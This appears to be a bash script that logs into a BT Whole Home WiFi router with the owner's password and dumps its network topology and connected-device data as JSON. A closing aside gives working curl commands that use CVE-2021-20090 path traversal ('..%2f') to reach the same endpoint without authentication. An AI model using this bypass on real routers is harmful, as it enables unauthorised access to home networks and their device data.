fetch-bt-whole-home-wifi-data.bash

export PASSWORD="$1"

export CURL_FLAGS=( -H 'Cookie: popup=1; key=value' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36' -L )

function md5_then_sha512() {
  echo -n "$1" | md5sum | tr -d '[:space:]-' | shasum --algorithm 512 - | sed 's/[^a-z0-9]//g' | tr -d '[:space:]'
}

function extract_tn() {
  echo -n "$1" | pup 'img[src^="data:"] attr{src}' | cut -c 79- | base64 -d
}

# Log in
TN=$(curl http://mybtdevice.home/login.htm "${CURL_FLAGS[@]}" | extract_tn)
TMP_VAL=$(curl "http://mybtdevice.home/cgi/cgi_login.js?_tn=$TN" -H 'Referer: http://mybtdevice.home/login.htm' "${CURL_FLAGS[@]}" | grep tmp_val | sed 's/[^0-9]//g' | tr -d '[:space:]')
HASHED_PASSWORD=$(md5_then_sha512 "${PASSWORD}")
SUBMITTABLE_HASHED_PASSWORD=$(md5_then_sha512 "${HASHED_PASSWORD}${TMP_VAL}")
curl 'http://mybtdevice.home/login.cgi' -H 'Referer: http://mybtdevice.home/login.htm' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "httoken=${TN}&url=&name=&pws=${SUBMITTABLE_HASHED_PASSWORD}" "${CURL_FLAGS[@]}" 1>&2

# Fetch vast majority of info used by web interface
TN=$(curl http://mybtdevice.home/status_lan_device.htm "${CURL_FLAGS[@]}" | extract_tn)
TOPOLOGY_INFO=$(curl "http://mybtdevice.home/cgi/cgi_toplogy_info.js?_tn=$TN" -H 'Referer: http://mybtdevice.home/status_lan_device.htm' "${CURL_FLAGS[@]}")
NODES=$(echo "${TOPOLOGY_INFO}" | grep toplogy_info | sed -E 's/(^.+=)|(;$)//g')
STATIONS=$(echo "${TOPOLOGY_INFO}" | grep station_info | sed -E 's/(^.+=)|(;$)//g')
echo "${NODES} ${STATIONS}" | jq -s add

You can use CVE-2021-20090 to fetch the same info endpoint without the password, but the template doesn't get evaluated:

TN=$(curl http://mybtdevice.home/images/..%2fstatus_lan_device.htm | pup 'img[src^="data:"] attr{src}' | cut -c 79- | base64 -D)
curl "http://mybtdevice.home/images/..%2f/cgi/cgi_toplogy_info.js?_tn=$TN&_t=$(date +%s)&_=$(date +%s)" -H 'Referer: http://mybtdevice.home/status_lan_device.htm'